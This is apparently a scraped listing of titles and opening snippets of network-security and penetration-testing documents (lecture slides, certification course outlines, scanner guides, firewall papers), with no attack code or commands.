CS Computer 640: Network AdityaAkella Lecture Introduction Networks Security 25 to Security DoS Firewalls and The D-DoS Vulnerabilities Road Ahead Security Attacks Protocol IP ICMP Routing TCP Security
PTSv2 in pills: The Best First for Beginners who want to become Penetration Testers. Self-paced, online, flexible access
The Best First for Beginners who want to become Penetration Testers PTSv2 in pills: Self-paced, online, flexible access 900+ interactive slides and 3 hours of video material Interactive and guided learning
Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.
CMSC 355 Lab 3 : Penetration Testing Tools Due: September 31, 2010 In the previous lab, we used some basic system administration tools to figure out which programs where running on a system and which files
Internet Security [1] VU 184.216. Engin Kirda [email protected]
Internet Security [1] VU 184.216 Engin Kirda [email protected] Christopher Kruegel [email protected] Administration Challenge 2 deadline is tomorrow 177 correct solutions Challenge 4 will
How-to: DNS Enumeration
25-04-2010 Author: Mohd Izhar Ali Email: [email protected] Website: http://johncrackernet.blogspot.com Table of Contents How-to: DNS Enumeration 1: Introduction... 3 2: DNS Enumeration... 4 3: How-to-DNS
Certified Ethical Hacker (CEH)
Certified Ethical Hacker (CEH) Course Number: CEH Length: 5 Day(s) Certification Exam This course will help you prepare for the following exams: Exam 312 50: Certified Ethical Hacker Course Overview The
Scanning Tools. Scan Types. Network sweeping - Basic technique used to determine which of a range of IP addresses map to live hosts.
Scanning Tools The goal of the scanning phase is to learn more information about the target environment and discover openings by interacting with that target environment. This paper will look at some of
Penetration Testing. What Is a Penetration Testing?
Penetration Testing 1 What Is a Penetration Testing? Testing the security of systems and architectures from the point of view of an attacker (hacker, cracker ) A simulated attack with a predetermined goal
Security Awareness For Server Administrators. State of Illinois Central Management Services Security and Compliance Solutions
Security Awareness For Server Administrators State of Illinois Central Management Services Security and Compliance Solutions Purpose and Scope To present a best practice approach to securing your servers
Audience. Pre-Requisites
T R A N C H U L A S W O R K S H O P S A N D T R A I N I N G S Hands-On Penetration Testing Training Course About Tranchulas Tranchulas is a multinational information security company having its offices
Nessus. A short review of the Nessus computer network vulnerability analysing tool. Authors: Henrik Andersson Johannes Gumbel Martin Andersson
Nessus A short review of the Nessus computer network vulnerability analysing tool Authors: Henrik Andersson Johannes Gumbel Martin Andersson Introduction What is a security scanner? A security scanner
Demystifying Penetration Testing for the Enterprise. Presented by Pravesh Gaonjur
Demystifying Penetration Testing for the Enterprise Presented by Pravesh Gaonjur Pravesh Gaonjur Founder and Executive Director of TYLERS Information Security Consultant Certified Ethical Hacker (CEHv8Beta)
Attacks and Defense. Phase 1: Reconnaissance
Attacks and Defense Phase 1: Reconnaissance Phase 2: Port Scanning Phase 3: Gaining Access Using Application and Operating System Using Networks Phase 1: Reconnaissance Known as information gathering.
Remote Network Analysis
Remote Network Analysis Torsten Hoefler [email protected] (DMZ), mostly between two packet filters and application gateways. The different possibilities to connect DMZ-hosts are also shown in Figure
Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing. SANS Security 560.2. Sans Mentor: Daryl Fallin
Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing SANS Security 560.2 Sans Mentor: Daryl Fallin http://www.sans.org/info/55868 Copyright 2010, All Rights Reserved Version 4Q10
Security: Attack and Defense
Security: Attack and Defense Aaron Hertz Carnegie Mellon University Outline! Breaking into hosts! DOS Attacks! Firewalls and other tools 15-441 Computer Networks Spring 2003 Breaking Into Hosts! Guessing
REPORT ON AUDIT OF LOCAL AREA NETWORK OF C-STAR LAB
REPORT ON AUDIT OF LOCAL AREA NETWORK OF C-STAR LAB Conducted: 29 th March 5 th April 2007 Prepared By: Pankaj Kohli (200607011) Chandan Kumar (200607003) Aamil Farooq (200505001) Network Audit Table of
Topics in Network Security
Topics in Network Security Jem Berkes MASc. ECE, University of Waterloo B.Sc. ECE, University of Manitoba www.berkes.ca February, 2009 Ver. 2 In this presentation Wi-Fi security (802.11) Protecting insecure
Firewalls. Ola Flygt Växjö University, Sweden http://w3.msi.vxu.se/users/ofl/ [email protected] +46 470 70 86 49. Firewall Design Principles
Firewalls Ola Flygt Växjö University, Sweden http://w3.msi.vxu.se/users/ofl/ [email protected] +46 470 70 86 49 1 Firewall Design Principles Firewall Characteristics Types of Firewalls Firewall Configurations
Host Discovery with nmap
Host Discovery with nmap By: Mark Wolfgang [email protected] November 2002 Table of Contents Host Discovery with nmap... 1 1. Introduction... 3 1.1 What is Host Discovery?... 4 2. Exploring nmap s Default
CSE331: Introduction to Networks and Security. Lecture 17 Fall 2006
CSE331: Introduction to Networks and Security Lecture 17 Fall 2006 Announcements Project 2 is due next Weds. Homework 2 has been assigned: It's due on Monday, November 6th. CSE331 Fall 2004 2 Summary:
https://elearn.zdresearch.com https://training.zdresearch.com/course/pentesting
https://elearn.zdresearch.com https://training.zdresearch.com/course/pentesting Chapter 1 1. Introducing Penetration Testing 1.1 What is penetration testing 1.2 Different types of test 1.2.1 External Tests
Certified Ethical Hacker Exam 312-50 Version Comparison. Version Comparison
CEHv8 vs CEHv7 CEHv7 CEHv8 19 Modules 20 Modules 90 Labs 110 Labs 1700 Slides 1770 Slides Updated information as per the latest developments with a proper flow Classroom friendly with diagrammatic representation
SY0-201. system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.
system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users. From a high-level standpoint, attacks on computer systems and networks can be grouped
CS5008: Internet Computing
CS5008: Internet Computing Lecture 22: Internet Security A. O Riordan, 2009, latest revision 2015 Internet Security When a computer connects to the Internet and begins communicating with others, it is
CYBERTRON NETWORK SOLUTIONS
CYBERTRON NETWORK SOLUTIONS CybertTron Certified Ethical Hacker (CT-CEH) CT-CEH a Certification offered by CyberTron @Copyright 2015 CyberTron Network Solutions All Rights Reserved CyberTron Certified
VULNERABILITY ASSESSMENT WHITEPAPER INTRODUCTION, IMPLEMENTATION AND TECHNOLOGY DISCUSSION
VULNERABILITY ASSESSMENT WHITEPAPER INTRODUCTION, IMPLEMENTATION AND TECHNOLOGY DISCUSSION copyright 2003 securitymetrics Security Vulnerabilities of Computers & Servers Security Risks Change Daily New
My FreeScan Vulnerabilities Report
Page 1 of 6 My FreeScan Vulnerabilities Report Print Help For 66.40.6.179 on Feb 07, 008 Thank you for trying FreeScan. Below you'll find the complete results of your scan, including whether or not the
Hands-on Hacking Unlimited
About Zone-H Attacks techniques (%) File Inclusion Shares misconfiguration SQL Injection DNS attack through social engineering Web Server external module intrusion Attack against the administrator/user
Computer forensics 2015-12-01
Computer forensics Evidence acquisition Protocol analysis Packet analysis Flow analysis Network Logs Network devices Network intrusion detection/prevention systems Common network attacks Web browser forensics
iscsi Security (Insecure SCSI) Presenter: Himanshu Dwivedi
iscsi Security (Insecure SCSI) Presenter: Himanshu Dwivedi Agenda Introduction iscsi Attacks Enumeration Authorization Authentication iscsi Defenses Information Security Partners (isec) isec Partners Independent
McAfee Certified Assessment Specialist Network
McAfee Certified Assessment Specialist Network Exam preparation guide Table of Contents Introduction 3 Becoming McAfee Certified 3 Exam Details 4 Recommended Exam Preparation 4 Exam Objectives 4 Sample
Firewalls. Chapter 3
Firewalls Chapter 3 1 Border Firewall Passed Packet (Ingress) Passed Packet (Egress) Attack Packet Hardened Client PC Internet (Not Trusted) Hardened Server Dropped Packet (Ingress) Log File Internet Border
A43. Modern Hacking Techniques and IP Security. By Shawn Mullen. Las Vegas, NV IBM TRAINING. IBM Corporation 2006
IBM TRAINING A43 Modern Hacking Techniques and IP Security By Shawn Mullen Las Vegas, NV 2005 CSI/FBI US Computer Crime and Computer Security Survey 9 out of 10 experienced computer security incident in
Build Your Own Security Lab
Build Your Own Security Lab A Field Guide for Network Testing Michael Gregg WILEY Wiley Publishing, Inc. Contents Acknowledgments Introduction XXI xxiii Chapter 1 Hardware and Gear Why Build a Lab? Hackers
A Very Incomplete Diagram of Network Attacks
A Very Incomplete Diagram of Network Attacks TCP/IP Stack Reconnaissance Spoofing Tamper DoS Internet Transport Application HTTP SMTP DNS TCP UDP IP ICMP Network/Link 1) HTML/JS files 2)Banner Grabbing
CYBER ATTACKS EXPLAINED: PACKET CRAFTING
CYBER ATTACKS EXPLAINED: PACKET CRAFTING Protect your FOSS-based IT infrastructure from packet crafting by learning more about it. In the previous articles in this series, we explored common infrastructure
Hands-On Ethical Hacking and Network Defense Second Edition Chapter 8 Desktop and Server OS Vulnerabilities
Objectives After reading this chapter and completing the exercises, you will be able to: Describe vulnerabilities of Windows and Linux operating systems Identify specific vulnerabilities and explain ways
STABLE & SECURE BANK lab writeup. Page 1 of 21
STABLE & SECURE BANK lab writeup 1 of 21 Penetrating an imaginary bank through real present-date security vulnerabilities PENTESTIT, a Russian Information Security company has launched its new, eighth
Passive Network Traffic Analysis: Understanding a Network Through Passive Monitoring Kevin Timm,
Passive Network Traffic Analysis: Understanding a Network Through Passive Monitoring Kevin Timm, Network IDS devices use passive network monitoring extensively to detect possible threats. Through passive
Penetration Testing Walkthrough
Penetration Testing Walkthrough Table of Contents Penetration Testing Walkthrough... 3 Practical Walkthrough of Phases 2-5... 4 Chose Tool BackTrack (Armitage)... 5 Choose Target... 6 Phase 2 - Basic Scan...
Host Fingerprinting and Firewalking With hping
Host Fingerprinting and Firewalking With hping Naveed Afzal National University Of Computer and Emerging Sciences, Lahore, Pakistan Email: [email protected] Naveedafzal gmail.com Abstract: The purpose
An Introduction to Network Vulnerability Testing
CONTENTS Introduction 3 Penetration Testing Overview 4 Step 1: Defining the Scope 4 Step 2: Performing the Penetration Test 5 Step 3: Reporting and Delivering Results 6 VeriSign SecureTEST 7 Common Vulnerability
Andreas Dittrich, Philipp Reinecke Testing of Network and System Security. example.
Testing of Network and System Security 1 Testing of Network and System Security Introduction The term security when applied to computer networks conveys a plethora of meanings, ranging from network security
Cryptography and network security
Cryptography and network security Firewalls slide 1 Firewalls Idea: separate local network from the Internet Trusted hosts and networks Firewall Intranet Router DMZ Demilitarized Zone: publicly accessible
Firewall implementation and testing
Firewall implementation and testing Patrik Ragnarsson, Niclas Gustafsson E-mail: [email protected], [email protected] Supervisor: David Byers, [email protected] Project Report for Information
Network Scanning. What is a Network scanner? Why are scanners needed? How do scanners do? Which scanner does the market provide?
Network Scanning What is a Network scanner? Why are scanners needed? How do scanners do? Which scanner does the market provide? Where will our research go? Page : 1 Function - attacker view What hosts
040020305-Penetration Testing 2014
Comprehensive Questions/Practical Based :- 040020305-Penetration Testing 2014 1. Demonstrate the installation of BackTrack using Live DVD. Also list all the steps. 2. Demonstrate the installation of BackTrack
HONEYD (OPEN SOURCE HONEYPOT SOFTWARE)
HONEYD (OPEN SOURCE HONEYPOT SOFTWARE) Author: Avinash Singh Avinash Singh is a Technical Evangelist currently worksing at Appin Technology Lab, Noida. Educational Qualification: B.Tech from Punjab Technical
Barracuda Intrusion Detection and Prevention System
Providing complete and comprehensive real-time network protection Today s networks are constantly under attack by an ever growing number of emerging exploits and attackers using advanced evasion techniques
Description: Objective: Attending students will learn:
Course: Introduction to Cyber Security Duration: 5 Day Hands-On Lab & Lecture Course Price: $ 3,495.00 Description: In 2014 the world has continued to watch as breach after breach results in millions of
GFI LANguard Network Security Scanner 3.3. Manual. By GFI Software Ltd.
GFI LANguard Network Security Scanner 3.3 Manual By GFI Software Ltd. GFI SOFTWARE Ltd. http://www.gfi.com E-mail: [email protected] Information in this document is subject to change without notice. Companies,
Nessus scanning on Windows Domain
Nessus scanning on Windows Domain A little inside information and Nessus can go a long way By Sunil Vakharia [email protected] Version 1.0 4 November 2003 About this paper This paper is not a tutorial
Penetration Testing. Security Testing
Penetration Testing Gleneesha Johnson Advanced Topics in Software Testing Fall 2004 Security Testing Method of risk evaluation Testing security mechanisms to ensure that their functionality is properly
1.0 Introduction. 2.0 Data Gathering
Nessus Scanning 1.0 Introduction Nessus is a vulnerability scanner, a program that looks for security bugs in software. There is a freely available open source version which runs on Unix. Tenable Security
Computer Forensics Training - Digital Forensics and Electronic Discovery (Mile2)
Computer Forensics Training - Digital Forensics and Electronic Discovery (Mile2) Course number: CFED Length: 5 days Certification Exam This course will help you prepare for the following exams: CCE --
Hacking Techniques & Intrusion Detection
Hacking Techniques & Intrusion Detection Winter Semester 2012/2013 Dr. Ali Al-Shemery aka: B!n@ry Footprinting Walking the trails to a target Outline External Footprinting Identify External Ranges Passive,
ANNEXURE-1 TO THE TENDER ENQUIRY NO.: DPS/AMPU/MIC/1896. Network Security Software Nessus- Technical Details
Sub: Supply, Installation, setup and testing of Tenable Network Security Nessus vulnerability scanner professional version 6 or latest for scanning the LAN, VLAN, VPN and IPs with 3 years License/Subscription
CSCE 465 Computer & Network Security
CSCE 465 Computer & Network Security Instructor: Dr. Guofei Gu http://courses.cse.tamu.edu/guofei/csce465/ Vulnerability Analysis 1 Roadmap Why vulnerability analysis? Example: TCP/IP related vulnerabilities
AC 2012-3856: TEACHING NETWORK SECURITY THROUGH SIGNA- TURE ANALYSIS OF COMPUTER NETWORK ATTACKS
AC 2012-3856: TEACHING NETWORK SECURITY THROUGH SIGNA- TURE ANALYSIS OF COMPUTER NETWORK ATTACKS Dr. Te-Shun Chou, East Carolina University Te-Shun Chou received his bachelor s degree in electronics engineering
Web App Security Audit Services
locuz.com Professional Services Web App Security Audit Services The unsecured world today Today, over 80% of attacks against a company s network come at the Application Layer not the Network or System
Security of IPv6 and DNSSEC for penetration testers
Security of IPv6 and DNSSEC for penetration testers Vesselin Hadjitodorov Master education System and Network Engineering June 30, 2011 Agenda Introduction DNSSEC security IPv6 security Conclusion Questions
Linux Network Security
Linux Network Security Course ID SEC220 Course Description This extremely popular class focuses on network security, and makes an excellent companion class to the GL550: Host Security course. Protocols
Chapter 6 Phase 2: Scanning
Chapter 6 Phase 2: Scanning War Dialer Tool used to automate dialing of large pools of telephone numbers in an effort to find unprotected THC-Scan 2.0 Full-featured, free war dialing tool Runs on Win9x,
Introduction to Network Penetration Testing
Introduction to Network Penetration Testing James Shewmaker [email protected] Intro to Penetration Testing - 2008 James Shewmaker 1 Outline Definitions and Concepts Key Tools Targets and Scenarios Intro
Security Considerations White Paper for Cisco Smart Storage 1
Security Considerations White Paper for Cisco Smart Storage An open network is like a bank s vault with windows Bill Thomson Network-Attached Storage (NAS) is a relatively simple and inexpensive way to
WHITE PAPER. An Introduction to Network- Vulnerability Testing
An Introduction to Network- Vulnerability Testing C ONTENTS + Introduction 3 + Penetration-Testing Overview 3 Step 1: Defining the Scope 4 Step 2: Performing the Penetration Test 5 Step 3: Reporting and
Ethical Hacking Course Layout
Ethical Hacking Course Layout Introduction to Ethical Hacking o What is Information Security? o Problems faced by the Corporate World o Why Corporate needs Information Security? Who is a Hacker? o Type
Securing Your Network. The Art of Attack & Penetration
Securing Your Network The Art of Attack & Penetration Erik Pace Birkholz Special Ops Security Eric Schultze Shavlik Technologies Session Objectives Discuss common DMZ and host configuration weaknesses
Secure Software Programming and Vulnerability Analysis
Secure Software Programming and Vulnerability Analysis Christopher Kruegel [email protected] http://www.auto.tuwien.ac.at/~chris Operations and Denial of Service Secure Software Programming 2 Overview
A Selection of Network Penetration Test Tools
A Selection of Network Penetration Test Tools by ([email protected]) Abstract This paper presents some of the tools required for a network penetration test. All parts of the test are covered, from the first
NETWORK PENETRATION TESTING
Tim West Consulting 6807 Wicklow St. Arlington, TX 76002 817-228-3420 [email protected] OVERVIEW Tim West Consulting Tim West Consulting is a full service IT security and support firm that specializes
